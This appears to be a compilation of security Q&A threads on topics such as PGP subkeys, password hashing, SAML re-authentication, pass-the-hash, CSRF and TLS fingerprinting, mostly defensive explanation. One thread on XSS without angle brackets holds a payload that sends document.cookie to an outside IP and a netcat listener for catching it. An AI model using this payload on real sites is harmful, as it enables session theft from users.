...and that might not be what you want. To be clear, you absolutely can, but that means whenever you change the certificate, you need to also change who you trust.
Verification of the subject and CA on the other hand means that you can keep your verification logic as-is and just change the certificate itself.

You will change your certificate whenever it expires. Since certificates are usually valid for about a year (and the trend is going towards shorter certificates), that means you'd need to change your verification logic every year.


Which signing key should I use for certifying other peoples public keys: master or subkey? I have a Master Identity key (which is detached from my daily-use keyring) and both encryption and signing subkeys (all are RSA).

I sign documents with the signing subkey: GnuPG selects this key automatically from my daily-use secret keyring (possibly) because the master key isn't present.

I'm not sure whether I should use the master key or the signing subkey when I want to certify someone else's public key.

It seems to me that I would increase the risk of compromising the master key if I use it for certification every time I obtain, import and verify the public key of a correspondent (although both master and daily-use private keys are only used on a non-networked machine, I feel that I should limit the exposure of the master key).

On the other hand, if I make certifications with the signing subkey and am later forced to revoke that key, those certifications will all need to be repeated with a new signing key (certainly those certifications which were made with --sign-key as opposed to --lsign-key).

Is this a trade-off that I must decide for myself or is it clear that I should use one or the other key?

The four possible key "usages" are

Certification: signing other keys
Signing: signing data
Encryption: decrypting data
Authentication: signing authentication tokens

When you look at your key using --edit-key, you find the usage listed behind each key and subkey. By default, all that are supported by the key type are attached to the master key (so, RSA defaults to CSEA, DSA defaults to CSA as DSA keys should not be used for encryption). There are special key types that are more limited than their algorithm (e.g. "RSA (sign only)" that supports only CSA).

When creating a subkey, a key usage is assigned to it in the signature binding the subkey to the master key; this delegates this functionality to the subkey, which also becomes the default key for the respective operation, while the key usage is hidden from the master key.

Certification cannot be delegated to a subkey, so you will always need your master key to sign another key.

Signing can be delegated, and the newest valid key with a Signing delegation is automatically used for signing, unless another is forced by specifying the key to use with an exclamation mark in front.

Encryption can also be delegated, and the newest valid key with an Encryption delegation is automatically selected on the sender's side, unless another is forced with an exclamation mark.


What scenario are 'extra' strong passwords and hashing algorithms actually protecting against? Note: I completely understand the need for strong passwords & I understand that there is an issue of speed with hashing. I am just interested in better understanding the actual negative impact of medium strength passwords (ex: a&3jC36ksL, AweSom3paSswOrd, sImple! pass_pHrase) and poor hashing algorithms (SHA1, MD5) specifically.

For example, let's pretend we have the following application (usability aside for now): It only allows three incorrect password attempts within a 120 minute window, with the account being locked after the fourth attempt. We can also guarantee that users will never reuse passwords (from this application or any other website), and they are always too complex to be guessed with only three attempts.

With these assumptions made, what is the main concern that extra strong passwords and hashing algorithms are addressing?

If an attacker wants to do a brute force attack, don't they need direct access to the data, in which case they already have what they were after?

This post about hashing passwords makes this point:

  There are ways attackers can get access to parts of your database without accessing all of it... Coding errors can leak data, as can sql vulnerabilities. An attacker could get a dump of your passwords and nothing else.

Maybe this answers my question, but I am still uncertain of the likelihood of this happening. I also don't know if brute-force is the only concern.

If password hashes are only good for determining passwords for other sites, and the database only contains unique passwords, the hashes should be useless, right?

In the case you constructed, even a 4-digit PIN would be fine. In fact, it's very similar to the iOS (and maybe Andriod?) PIN lock screen that wipes your phone after 10 incorrect guesses.

No real hacker will try brute-forcing passwords against an application server, it's just too slow. Over the internet you can get at best what, a couple of hundred guesses per second, assuming the server doesn't lock you out. The real risk is that the hacker has access to your password hash and can go to town with an offline brute-force attack using their fancy GPU hashing rig which can do millions to billions of guesses per second, per GPU [nice article], [raw speedhashing data]. Long passwords mean they have to make more guesses before they get lucky, and slow hash functions means they have to spend more time / power per guess.

Answering your questions:

Just because a hacker got a copy of your password hash does not mean they have any kind of access to any other part of the server. For example, check out haveibeenpwned.com, by clicking through those links, I can download long lists of password hashes for gmail, adobe, Ashley Madison, etc. Having those lists of hashes does not in any way give me access to "the data" on those servers.
I guess so, but the assumptions that A) no two users in the database have the same password, B) no user ever re-uses a password between sites, and C) "password hashes are only good for determining passwords for other sites" are very strong assumptions.


SAML, and forcing a re-authentication I have a use case forced upon me by industry regulation. I wish it wasn't there, but it is.

A user logs in to my service, navigates around, etc. The user can perform many actions, but one of the actions requires (by industry regulation) that the user re-enter the username and password prior to continuing. It does not matter if the user logged in 5 seconds beforehand. In order to complete this action the user must re-enter the username and password.

We are looking to integrate with another company, using SAML to power SSO and Federated IDs. Is there a way for us to tell the IdP to re-authenticate the user, even if the user is already authenticated?

Thanks
Alan

For SAML 2.0 identity providers that support it you can pass ForceAuthn="true" as an attribute for the AuthnRequest. This will tell the IdP to not use any previous security context when authenticating the user.


How can a CSR be generated by OpenSSL without the public key Ok, so the general steps to make a Certificate Signing Request are (as I understand it) as follows:

Generate a key pair
Put my identifying information and the public key (or its hash) into a document
Sign that document (CSR) with the generated private key
Send the CSR to a CA who will verify that it's me and return a signed certificate with trust chain (possibly)

Since the actual signed certificate is to associate a trust relationship between my public key and my credentials, a certificate cannot be signed without access to the public key or at least a hash of the public key.

Here's the confusion for me: I see that there is a command I can execute in OpenSSL:

openssl req -out CSR.csr -key privateKey.key -new

This supposedly creates a new CSR using only the private key. I cannot see how this can work.

Is the public key or its hash secretly hidden inside the private key file?

A private key isn't just a big number, it is actually a data structure with several numbers in it.

Here's what a public key looks like (RSA):

<RSAKeyValue>
    <Modulus>yIf6e2K99p7hyCPlpjR0TDpH6Cpxy/zxctg/G8xHVGxtM00z6p9svf9YoT+TraHM8i6ZFtod9emkNSq8jAcWfWQ1q0xzuSmJNo74ZHFardNzH/oGExVpfiO1qCgeAnI3ILn5jTyV7g82j2wPImdAiL/wA7TfhE93POrKdrP1QpM=
    </Modulus>
    <Exponent>AQAB</Exponent>
</RSAKeyValue>

And private:

<RSAKeyValue>
    <Modulus>yIf6e2K99p7hyCPlpjR0TDpH6Cpxy/zxctg/G8xHVGxtM00z6p9svf9YoT+TraHM8i6ZFtod9emkNSq8jAcWfWQ1q0xzuSmJNo74ZHFardNzH/oGExVpfiO1qCgeAnI3ILn5jTyV7g82j2wPImdAiL/wA7TfhE93POrKdrP1QpM=
    </Modulus>
    <Exponent>AQAB</Exponent>
    <P>8KXqVAlsMtguk+xtLysbpcKYtNRIvLcORUc7SXtnMi6rtWnQ807IRfpXXDqK8BVDSCZCaNp5/lKFE4YSPqEKlQ==
    </P>
     <Q>1VLnPE9qWMXAIkYg7Y5w+jSNWAixuMBeKKIxx43VuwdrtRK7pRXaSYci/DZNe72XN8DHL6sbqpk93hnqx4h2hw==
    </Q>
    <DP>VIJ/qylv9N8UZGBH66Og3vJavE48iQFkIpIkUObkU6wuItRZS8ij7mc+3KW2ex+MdD7zXW00IEsMbtHLgHD/jQ==
    </DP>
    <DQ>S4Qtl4wFeaeHfJqWzYG/PNOdtaxePajbrEa+mIX9Q1g9KLyY8LfrrlvIZsBSbZuQDIyR9q37/UiCPj2ufzQvwQ==
    </DQ>
    <InverseQ>nrkYAY+YWALD4M39LfwdCWrtjVGYMUwMiebd3qQtirRfSBSvqPhhz1huKV7pZZHbrW+h3mxfZVZ/4WpaJ67GEA==
    </InverseQ>
    <D>kUSQXBnn62Slw0rd7k1Jgn8l4DX/Qfr3Hm8xKH4PnkT9xpBC79CWAf2cwxM/dCUmRrsjA772vVKINkvDUt0/mEXFZyYxg8FK1D1g9CdSoq6dPSxk/QXBYrsEPDo4Pe5gFdKTh4dqfnsBP0d6/7U4e2bAGg+3xn63w6CQ+JzCYmE=
    </D>
</RSAKeyValue>

As you can see, the private key includes everything that is in the public key.


Why do some websites need time to log you in securely, while others can do it instantly? I noted that on a lot of money-related websites (banks, paypal, etc), you are brought to a page that "logs you in securely". This is an example of one:

Meanwhile, websites that also store very sensitive information, such as google wallet, facebook, etc (all of which use SSL), don't use this page. What is the advantage of this, and why is it only used on some websites?

Security Theatre

This splash screen is not necessary for the user, but the company chose to introduce a the splash screen showing that they think security is important and saying that they are supposedly away 'doing' security.

The only good thing here is that they think security is important to them and their clients.

The increased security (ssl/https) should already be in place at this stage anyway.

If their login process is slow, that is a different matter, but this interstitial spash screen may improve the user experience.

Alternative explanation:

They could be interrogating a backend password database on their mainframe systems. Banks have old crufty systems with interesting limitations.


How to verify Google sign-in screen is legit? (Linux Desktop) I've installed an Electron app "Google Play Music Desktop Player" which presents a Google login screen:

This is in a standalone window with no URL displayed.  Although I have no reason not to trust this app, how can I be sure that this login screen is genuine?

I'm running Chrome on Fedora.

Here are some ways I can think of but if someone tried hard enough I don't think there would be a way to stop him.

Check a fake email - Google's login will only display a password input if the username exists so by entering any email you know does not exists (Ex: ajksjdlalsjdlkasldkldjalk@gmail.com) if the password box still shows up then it is not a genuine Google login page.

Try viewing the source - Since the app is pretty much a browser you might be able to view the source. Try right click and view source or F12.

Packet sniffer - Download a packet sniffer such as Wire Shark and check where the traffic is coming from. Is it from Google or from another source?

These are only a few examples but sadly there is no solid way I can think of. Be cautious and pay attention to anything abnormal.


PTH & Salted Passwords I see a lot of documentation out there blaming PtH on Windows operating systems to the unsalted nature of LM/NT hashes.

Isn't this conjecture wrong? Introducing salting (if the salt is deterministic / e.g. username + domain + password) would only minimize the issue of offline password cracking and not solve the issue of PtH.

Am I right in this thinking? Why are all these companies and people saying the problem is rooted due to the unsalted nature of the hash?

Not salting is fairly minor. The issue becomes credential reuse - i.e. someone using the same password on multiple accounts. This becomes even more of an issue when administrators reuse the same password on a local machine administrator account to their domain account.

Pass the Hash is an issue common to all Challenge Response algorithms that require a shared secret available in the same form at both ends (in this case the hash). Both ends require the secret to respond/verify challenges. Windows chose this approach because it allows communication to occur in plaintext over the wire. There are two alternatives I am aware of -

Traditional password authentication. I.e. the password is sent to the server and verified against the stored hash there. However you require an encrypted connection or risk Man in the Middle attacks.
Public/Private key verification. The server stores the users public key and the client proves themselves with the private key. The main drawback here is that remembering a private key is substantially more difficult for the client than remembering a password. This can be avoided by deriving the private key from a password (using the password+salt as a seed for a random number generator which is used to generate the private key).


Store username in cookie for a web site I want to store the username for a web site in the coockie, is it secure?
What an hacker can do with this info?

This entirely depends on what you are doing with the username stored in the cookie.  If you are automatically trusting that the username that is provided by the cookie is valid, then you are effectively inviting impersonation of users by hackers.

If, on the other hand, you are simply storing the username so that they can automatically have the username filled in the next time they go to login, it is perfectly fine since a username is not secret information.

If, for some reason, you needed to use a cookie to store authentication, the preferred approach is to use a randomly generated session identifier that is tracked on the server and can be expired.

If server side storage is not available, the server can encrypt the username and an expiration date (and optionally an IP from which they connected) with a symmetric key (like AES) and then pass that encrypted value to the cookie.  The server can then verify the cookie later without an attacker being able to alter it.  The main drawback to this approach is that once a cookie is issued, it can't be invalidated if the user wants to log out all their sessions (because, say, their computer was stolen.)


How to make USB drive read only and write by a password or key or certificate? I am trying to distribute a software, a simple exe file, that can be executed directly from an USB drive.
I would like to make that USB drive read only to avoid any malware infection and accidental deletion.
Another requirements is to update this software using a trusted updater package in the field.

I understand I can use a hardware switched write protect USB drive, but then I am giving an option to the users to flip the switch when updating and I would like to avoid that.

So, is there a way where the USB drive is mounted readonly by default and if I need to write it, I need a password or an unlocking key or similar that can be achieved via a trusted script/package?

Completely impossible with standard flash drives. It's possible that a custom flash drive could have a storage controller to support something like this, but they'd be the rare exception and not the rule.

Instead, sign your executable and enable signature verification (such as AppLocker on Windows) on the computers that will run it. Then, if malware infects your executable, it won't run.


How can I detect users that have requested AD Administrators to reuse an expired password? There is a trend among companies I've worked at where administrators (or helpdesk folks) give a user a courtesy extension of the old expired password... rather than forcing the user to change it.

This is usually done by re-entering the expired password directly via AD Users and Computers... rather than changing it though Ctrl-Alt-Delete.

Given that the "last password change" field is not a valid way of detecting this situation; how can I detect expired password reuse?

An example would be to compare the password hashes once every so often to ensure compliance; but I'm looking for the most logical and secure approach.

There is more than one way to configure auditing in Group Policy, but I think the primary old way (on Windows Server 2003) is to open GPMC, edit the Default Domain Policy (or whatever domain policies are active in the OU and objects you're working with), and drill down from the Policies node through Windows Settings to Security Settings, in order to open the Local Policies Audit Policy branch. There's an "Audit account management" section that you can define.

The above only lets you audit the account changes, but you have to make it actionable by relating it back to success criteria, such as a user's password had recently expired. By leveraging OSSIM (or another strong correlation engine), you could combine ADSI scripts which check every audit account management message to see if it was a password change, and to see if the password recently expired. Then, the hashes could be matched, etc. Even OpenVAS could be kicked off to try and bruteforce the password -- although it would probably be better to perform this task with more data.

This becomes an exercise in customization for client, server, and other infrastructure hardening/monitoring. You would want to move the maturity of your entire infrastructure to a higher level -- so I assume you've already done much of the work prescribed by The Center for Internet Security (CIS) and/or NIST.

If you are more greenfield and haven't implemented customized solutions like this in the past, it would certainly be better to jump to a future-proof solution such as OpenIDM from ForgeRock. This would be a multi-million dollar, six year project or so.

If you're in a large-installation brownfield operation, such as Fortune 500 -- it would be best to identify your existing IAM, IDM, Directory, ESB, and other backoffice components in order to properly analyze where to fit identity lifecycle management issues such as user-password resets. It may be that an existing solution provider, such as SAP, Oracle, TIBCO, or Microsoft has an easy answer.

If you're solely a Microsoft shop (100 percent), then you probably want to discuss their ILM 2007 product, FIM 2010, and related solutions. Microsoft has a nasty way of canceling these product lines, or changing them drastically -- so it's good to be hip to the "inside track" and discuss directly with the ILM/FIM and other product managers (PMs) instead of just an account manager (AM) or their websites and trade information.

There are other, more point solutions such as Quest software's ChangeAuditor for AD, but I would be wary of this only solving a short-term problem, when clearly a business process and huge set of business/infrastructure maturity problems may exist.


Are there any addons that disable only some functionality of scripts? Tor comes bundled with NoScript. Correct me if I'm wrong but that's because client sided scripts can determine the originating IP address regardless of who the traffic is passed through. But NoScript seems over kill. There's plenty of legitimate and non-threatening uses for JavaScript and the like. I really hate this white-list notion, you could not trust a website but still want it to work.

Is there a way to only block parts of client side scripts that determine IP address or location (etc)? If not I'm kind of surprised, it would seem easy as all that would have to be done is take out calls to the scripting languages functions for getting IP info.

Alternatively are there any public white lists for NoScript?

Actually, NoScript provides options for white listing and plugin behavior in the client preferences.

If you click on the NoScript icon in the browser toolbar, you should see a drop down menu link titled "options". Selecting that will open the NoScript preferences pane, and from there you can configure virtually all aspects of the NoScript behavior. In fact, NoScript even offers a tab called "WhiteList" with many common sites included in the default distribution, such as "google.com", "msn.com", etc. So, you should be able to achieve the desired result from within the plugin settings. My testing was done within FireFox (which is included in the TOR browser bundle), but the same features exist in the Chrome version of the plugin too.

With regard to a more relaxed version of NoScript, you could try Web of Trust. It operates like a community managed blacklist.

Now, on to the broader question. First, NoScript can block a lot more than JavaScript, and a lot of people use it as a whitelist to mitigate all the most common client-side threat vectors, including JavaScript, Flash, Silverlight, Java Applets, etc. From the perspective of anonymity, all of those tools could likely be used to aid in identifying you if the web site you're connecting to was specifically targeting TOR users. Also, JavaScript code can be obfuscated to make it more difficult to identify with a simple text-parsing program.

So, as a general security precaution, NoScript can add a lot of value. If the default settings are too paranoid for you, my suggestion would be to configure the NoScript white list preferences to allow JavaScript and possibly plugin content from trusted sources while privately browsing with TOR. This might take a bit of time to setup, but after you have your most common sites whitelisted it shouldn't be too much of a hassle to maintain. As noted by @Curiousguy below, you could further mitigate your risk of MITM attacks by only white listing HTTPS sites to take advantage of the PKI.


Full disk encryption and multi-factor authentication All serious full disk encryption schemes I have looked into use a static password for authentication.  For example, TrueCrypt supports two-factor authentication with keyfiles, but not for system partitions.  It's possible to use a Yubikey in static mode as a second factor with TrueCrypt full disk mode.  But in both cases the second factor is really just a part of the static password that the user chooses to not memorize.

Clearly full-disk encryption requires authenticating users before the OS boots, so interactive challenge-response protocols involving a remote host won't work.  But I don't see any insurmountable obstacles to implementing a secure, pre-boot one-time password mechanism.

Why is support for strong multi-factor authentication not more common in full disk schemes?  Are there any viable implementations?  Are static passwords considered good enough because an adversary capable of defeating them in a pre-boot context is probably also capable of recovering the encryption key (not authentication key) after any form of authentication, regardless of how many factors?

The problem is that most multi-factor authentication methods are just that--authentication. They often require some code to verify the validity of the token or information you present.

However, with disk encryption your password is the actual encryption key. There is no gatekeeper involved, either your key unencrypts the data or it doesn't.

I have used the Yubikey's static password feature with lets you create a 32-character password which is nice, but like you said there really is not a true "what you have" going on there, it is still just a static password that could be intercepted and entered without the physical token present.

You could probably find a way to do true two-factor authentication using an HSM that does actual authentication (such as requiring you to enter a PIN) or you could store a keyfile on a device that provides two-factor authentication. But ultimately all you are doing is providing a longer password or static keyfile.


Is it safe to skip CSRF checks for non-browsers? I was in the middle of implementing a CSRF protection mechanism for my server when I realized that this attack only really affects web browsers. It got me wondering: why should I bother generating/validating CSRF tokens for non-browser clients?

Not only would removing such checks simplify the implementation of REST clients, it would also improve scalability.

I was thinking of having all HTML resources set a browserId cookie containing a cryptographically-strong pseudorandom value which identifies the client as a browser. Any calls into the REST api would check for this cookie and, if present, apply CSRF validation. Otherwise, the checks would be skipped.

The value of the cookie is not as important as its existence. The value is not stored or validated by the server, but it is useful for tying CSRF tokens to a specific browser (this prevents an attacker from passing his own CSRF token to a victim).

My question is as follows:

Is it possible to differentiate between machine-to-machine (M2M) and human-to-machine (H2M) clients? If so, what is the best way (is the above approach reasonable)?
Is it safe to differentiate between M2M and H2M clients, even if we can? Or does this open us up to possible attacks in the future?
Can an attacker delete cookies, assuming that I control all sub-domains and use HTTPS?

CSRF is for forms mostly and it is not used for REST APIs at all. When REST API is implemented with API keys and nonce, you could say that these 2 act as your cross-site request forgery protection.

Also, when designing REST API it's usually best to avoid such things as cookies at all. Use per-user API Keys, this will also solve your identification problems.

Is it possible to differentiate between machine-to-machine (M2M) and human-to-machine (H2M) clients? If so, what is the best way (is the above approach reasonable)?

For a rest API it should NOT matter if the client is a machine or a human. To identify humans, use per-human API key which should be supplied upon every request. There is no such thing as machine or human (i.e. there is no difference). Everyone is a client for the API.

Is it safe to differentiate between M2M and H2M clients, even if we can? Or does this open us up to possible attacks in the future?

Answered above (you should not need to do this).

Can an attacker delete cookies, assuming that I control all sub-domains and use HTTPS?

Answered above (you should not use cookies for REST APIs).


Is there a way to prevent comments from being abused for command and control? Botnets typically are coordinated over protocols like HTTP or IRC.  However, to make such command and control traffic harder to spot, attackers have occasionally turned to other channels, including normal-looking communication channels like comments on Instagram.  Facebook has also been seen in the wild as a method for command and control.  The Instagram case linked above used a fairly innocuous-looking comment, and the only way to unravel the command from it was to use a complex regular expression.

I would believe the main responsibility of preventing this abuse of comments usually falls on the security team responsible for identifying and removing the botnet from the infected computers.  However, is there any way to prevent this abuse of comments on my own profile/website? I know there are solutions to identify comments that are spam or comments looking for vulnerabilities, but I don't think those comment-filtering solutions would block these C&C comments.

If you allow content generated by others at your site there is no way to detect if the content contains hidden messages in all cases because there are simply many ways such content could be embedded. Any attempts to detect and block such content have the risk of overblocking and thus impacting innocent users. From the example of the Instagram comments you see that the attacker only needs to hide a message of a few bytes in a much larger message. Such small hidden content could be spread over multiple comments (like using the first character from each comment only), could be contained in the username, could be hidden in the timestamp, could be contained in images ... .

At most you could try to detect the bots which read this message in that they don't really look or behave like real users. But also in this case it would not be too hard for an attacker to fool such detection system or make it throw lots of false positives so that it impacts innocent users of the site.


What are the security implications if someone got my home WiFi network password? I gave my WiFi password to a guest. I'm wondering how can he exploit this opportunity? Like, can he access my other devices localhost servers? Can he brute force to get the password of the router to change its settings, etc?

UPDATE:
The device that is usually connected to the Router is my Ubuntu 14.04 desktop.

Giving the WiFi password away effectively gives full access to the local network. From there the guest might access the other computers inside the same network unless they have an additional protection. The guest can also try to brute force the router password, can mount man in the middle attacks with ARP or DHCP spoofing ....

Because of this better routers offer a separate guest WiFi with its own password and with a restricted environment where the user can only access the internet but not the internal network.


Passive fingerprinting of HTTPS client Is it possible to passively fingerprint a HTTPS client, based solely on data visible to a network eavesdropper?

In other words, consider a network monitoring box that can see all the packets (but doesn't know any private keys and is only passively monitoring traffic).  Can infer a reasonable guess at the version of the client that's being used, based only on what is visible in the network trace?  For instance, can we guess what browser and what version is being used on the client side?

Of course TLS encrypts the data and payload, but there are some values that are sent in the clear: the set of ciphersuites suggested by the client, the client's date/time (first 4 bytes of client_random), a list of compression methods supported by the client, and a list of TLS extensions supported by the client, and of course the order of values in each of these lists.  Is there enough variation here to infer which browser the user is using and distinguish among most major browsers?  Is there enough to distinguish between browser versions?

I'm thinking of something analogous to p0f (which does passive OS fingerprinting), but here we're looking the unencrypted part of a HTTPS connection (rather than TCP headers), and here the goal is to infer the browser/HTTPS client used by the client host (rather than to infer the OS used by the client).

Lee Brotherston spoke at DerbyCon 2015 on Stealthier Attacks and Smarter Defending with TLS Fingerprinting -- slides -- video.
He also released code to go along with the talk -- https://github.com/LeeBrotherston/tls-fingerprinting/tree/master/fingerprintls
The below is taken from his website -- http://blog.squarelemon.com/tls-fingerprinting/

Transport Layer Security (TLS) provides security in the form of
encryption to all manner of network connections from legitimate
financial transactions, to private conversations, and malware calling
home. The inability for an eavesdropper to analyze this encrypted
traffic protects its users, whether they are legitimate or malicious.
Those using TLS operate under the assumption that although an
eavesdropper can easily observe the existence of their session, its
source and destination IP addresses, that the content itself is secure
and unreadable without access to cryptographic keying material at one
or both ends of the connection. On the surface this holds true,
barring any configuration flaws or exploitable vulnerabilities.
However, using TLS Fingerprinting, it is easy to quickly and passively
determine which client is being used, and then to apply this
information from both the attacker and the defender perspectives.
[...]
FingerprinTLS
FingerprinTLS is designed to rapidly identify known TLS
connections and to fingerprint unknown TLS connections. Input is taken
either via live network sniffing or reading a PCAP file. Output for
recognized connections is (currently) in human readable form and for
unknown fingerprints in the JSON format used for the fingerprint
definitions.
Fingerprints which are generated can be exported as a C
struct by Fingerprintout and compiled back into FingerprinTLS to
enable detecting in future instances.

Lee demonstrates how easy it is to fingerprint clients by the TLS signatures in a later talk he did at SecTor CA -- http://www.slideshare.net/LeeBrotherston/tls-fingerprinting-sectorca-edition -- be sure to check out slides 66 and 69-70.
fingerprintls -i en0 -s

He also shows how to import new signatures here -- https://gist.github.com/LeeBrotherston/1a0ae1aedd968af1fce3
Another demonstration shows how to leverage the Berkeley Packet Filter (BPF) from other tools and frameworks such as Wireshark, tcpdump, and/or libpcap -- https://gist.github.com/LeeBrotherston/92cc2637f33468485b8f
Finally, Lee analyses a sample pcap from the Pokemon Go video game off an Android device -- https://gist.github.com/LeeBrotherston/5cca4b372277d7c6a049b26f87544351
Certainly older methods described by some of the other answers here may still be relevant, but I do suggest you check out the work above. For more on the work that SSLLabs did, check out -- https://github.com/ssllabs/sslhaf -- which is an Apache module for passive SSL client fingerprinting


What cryptographic protocol is appropriate for the case where user needs access to a binary and encrypted configuration files? This is a very newbie IT security question...

I have to quickly implement a solution for our application that works like this... We have a binary executable that is given a configuration file. I need to encrypt the configuration file such that a non-trusted user can be given the binary and the encrypted config file (and maybe a public key or something) and he should be able to run the binary with the encrypted file.

Could you suggest a cryptography paradigm &/or c++ crypto library that will allow me to do the above? I was thinking of encrypting the config files with a static blowfish key which is hard-coded into the binary as an urgent fix which will raise the bar ever so slightly based on advice I got from the crypto stack exchange.

What would be a good design in the long run? I'm looking towards protecting from the following problems :-

Casual reading of the xml configuration/input files
Easy disassembling and reverse engineering of the binary / extraction of the secret key by searching through the text or data section
some other attack vectors that you can think of just so that I know?

Note :- Question reposted from crypto stack exchange since this is probably a better place to ask it.

If you store a key, password, etc. in the source code you will never be able to reasonably expect to keep it secret unless you also control the system. What you are describing would only be obscurity, obfuscation, or data hiding.

If you want only the program to be able to decrypt, its sounds like a case for using asymmetric cryptography. You may have a scenario where you encrypt the actual data using a symmetric key, but transfer the symmetric key using asymmetric to reduce overhead.

Depending upon your scenario, you could implement an Hardware Security Module (HSM). If you can setup and control the system, the HSM would be the trusted source to hold your secrets and protect the decryption process from the system and application. However, if you do not have physical control then the customer could possibly tamper with the HSM.

If the decryption keys are in the app or stored at the system, and the system is not under your control - the person who controls the system can always access them somehow, you can make it difficult, but not impossible. If you have complete control of the system, you can limit the user privileges to prevent them from loading tools or even reading the files to some degree. However, with a compiled desktop application being shipped to a customer, you will never be able to ensure they can't reverse or find the secrets.


Can OpenPGP private keys ever be secure enough to store publicly? The OpenPGP (private) key format stores the key symmetrically encrypted.  The "iterated and salted" setup derives this key from a passphrase, taking a "octet count" parameter that determines the complexity of expanding the passphrase into a symmetric key.  With the highest value for this parameter (~65 million), key expansion takes about a second on my computer (GPG).

With this kind of setup, is it possible to make it hard enough to brute-force that it's sane to have the private-key publicly available?

I expect the answer depends on the passphrase complexity.  E.g. if you somehow managed to have a passphrase with 256 bits of entropy, then an attacker would be better off just guessing the derived key instead of the passphrase - which in this case amounts to brute-forcing an AES key (which I'd consider hard enough to be "safe").  So the question might really be "how complex does your passphrase have to be to make this safe?".

You've already answered your own question.  The question becomes, how many resources can the attacker put on cracking your password, and how good are people at choosing passwords?

The largest supercomputer currently has around 3 million cores.  Let's assume each core has about the same amount of processing power as your workstation.  That's 3 million cracks/second.

In a year, such a machine could crank through about 47 bits of entropy.  In 10 years, that number only goes up to 50 bits of entropy.  With 64 bits of entropy, the cracking time goes up to a million years.  Of course, computers get faster, so if we assume a doubling time of 1.5 years, you can remove 2 bits of entropy every 3 years.  So in 10 years, 53 bit keys will be crackable in a year.  In 20, 60 bit keys.  So that sounds really great, right?  64 bits of entropy is pretty easy if people use the the simple xkbcd comic http://xkcd.com/936/

Now...  the reality is that most people WON'T pick good passwords, and don't understand entropy.  They'll still pick "password123", their dogs name, or their phone number.  They don't understand offline attacks.  Those are all low entropy sources, and could be cracked by a single individual very easily even with a garden variety PC.

So what can you, yourself crack, with just your piddly little PC at 1/second?  In just a day you can go through 86,000 tries, or all the words in the a largish dictionary.  In a month, you can try 2.6 million.

So I'd say if you're talking about posting private keys encrypted for anyone to just download, you'd be asking for trouble.  Some other means of protecting these keys would be more appropriate.


Giving remote access via the VM, will compromise the network? I am currently working on a project for one of the organization and I have to install a new (server/client)software program.However, the software company would like to help and install for themselves to minimize any problems on our server.

According to the organization ICT rule, we couldn't give remote access to the outsider. They have suggested installing VM then give remote access to them.

However, I feel that even if we give remote access via VM, would they still able to access our network or it is possible to allow them?

Thanks.

If your VM has access to the network and they can use it unsupervised then they of course have access to your network.
Also you really have to trust your VM-Product there.

What people do a lot (no judgement here) is isolating a machine using the Firewall/Packetfilter/Security-Gateway for "outsiders".

Anyways: If your companies ICT rules say, you cannot give remote access to outsiders you are pretty much given all information you need. Don't do it. You might run into legal trouble as well as all of the other problems that this rule was made up for.


Why is the diffusion property important in hash functions I have always heard that

  A change in just one bit of the original text shall change half of
  the bits of its hash.

I think this property is called the diffusion property.

However, I wonder why the diffusion property is so important in hashing functions.

I understand that for encryption algorithms this is a needed property. Without it, an attack based on language stats could be carried out.

Hashing functions however are one-way, which means that you can not get the original text from the hash. Why should hash functions exhibit the diffusion property then?

Update 1:
Given that you could use hashing functions for hiding information or for assuring the integrity of a document, I think it is a good idea to separate both aspects.

If we are using it for hiding information such as password this property in needed. Look at Lucas Kauffman's answer.

But if you are using hash functions to guarantee the integrity of a document. Is it still a needed property then?

It is for the same reason, suggest you have a table with hashes, and you find out that there is one hash (A) that's almost the same as a hash you are trying to break (B). If there is randomization then you have nothing, otherwise you know that the hash you are trying to break is similar to the plain text of hash A. So this would make a bruteforce attack easier since you know it must be a hash of something close to the plaintext of A.

Add to this that you might have 10 hashes that look similar to B, you can start finding a pattern in their plaintext form and reduce your bruteforce span even more.


Is exposing the default plesk page dangerous? Is exposing the default plesk page on an IP dangerous? I can imagine it is somehow usable for fingerprinting a version maybe. But is it dangerous anyhow?

Well, it tells people you don't really know what you're doing, in that it reveals that you use Plesk (or any web hosting panel in general).

Whether disclosing this information publicly is "dangerous" or not is debatable and down to definitions, but I can tell you that if I were scanning for something to hack, seeing a web control panel like Plesk would tell me that I've found something that's likely to be poorly configured and insecure, but also likely to be a low value target. (The typical server running Plesk is a cheap VPS with minimal resources and no professional administrator.)

At the same time, I suspect it would be almost trivial to suss out that information anyway, with or without the presence of that parking page. So, I'd say that the dangerous thing here is using a web control panel at all, as opposed to understanding and properly administrating your web server.


XSS without angle brackets I would like to run the following script inside an input tag when the page loads.
I know how this can be fixed by using onfocus and autofocus.
But how do I get the expression document.cookie in there?
window.open('http://10.80.2.50:8000/hello.php?leak='+document.cookie);

My situation:
<input type="text" class="form-control" id="search" name="search" value="$_GET['search']" placeholder="keyword" required="">

You're code looks right, but it's possible that the cookies you're trying to access are HttpOnly which would not let you access them via javascript.
Confirm in Console

document.cookie should return ""
document.cookie = "username=John Doe";  to set a random cookie value.
document.cookie should return "username=John Doe"
Try your code and see if you get the John Doe cookie.

Receive Data
Easiest way to receive the exfiltrated data is with Netcat, see below.
% nc -l 8000
GET /hello.php?leak=username=John%20Doe HTTP/1.1
Host: 127.0.0.1:8080
...


Cipher used for request data encryption used by browser Please note that this is not about how SSL communication happens between browser (I researched and understood it) and client but other aspects.

Using Digicert's SSL mechanism explanation I have understood how the data is encrypted between browsers and servers.  Below is my understanding.

Browser will send a request to the server to get some resource. Server checks if the protocol of the request is HTTPS, if so then it will send its certificate (this certificate is already signed by some CA (Certificate Authority, like Digicert)) in the response.
Browser will check if the certificate is valid by validating looking up the signing authority in its valid CA pool.
If the browser finds that this certificate is signed by a valid CA then it generates a session key and encrypts it using the public key present in the certificate.
Browser will send this encrypted session key to the server and server will decrypt the session key.  The server will send back an acknowledgment to the browser which would be encrypted using the session key.
Above steps complete an SSL handshake and then secure communication starts between browser and server.

Questions:
Based on my above understanding:

The browser will generate a session key and encrypt it using server's public key. But which encryption algorithm (or commonly called as cipher algorithm) will be used by the browser?

How is cipher selection determined, and will browser and server both use the same cipher/key size for encryption and decryption?

Once SSL handshake is completed, all communication will be encrypted using the symmetric session key, but again which encryption algorithm will be used by the browser?
Is the encryption algorithm used by browser in any way dependent upon certificate received from server?

Or is all encryption performed by the browser performed with the same cipher algorithm?

Please correct me if I am wrong, the algorithm or cipher information is also present in the certificate? How does that information stored in the certificate?

While generating the certificate do I need to state which algorithm, how many bits encryption, padding etc.?

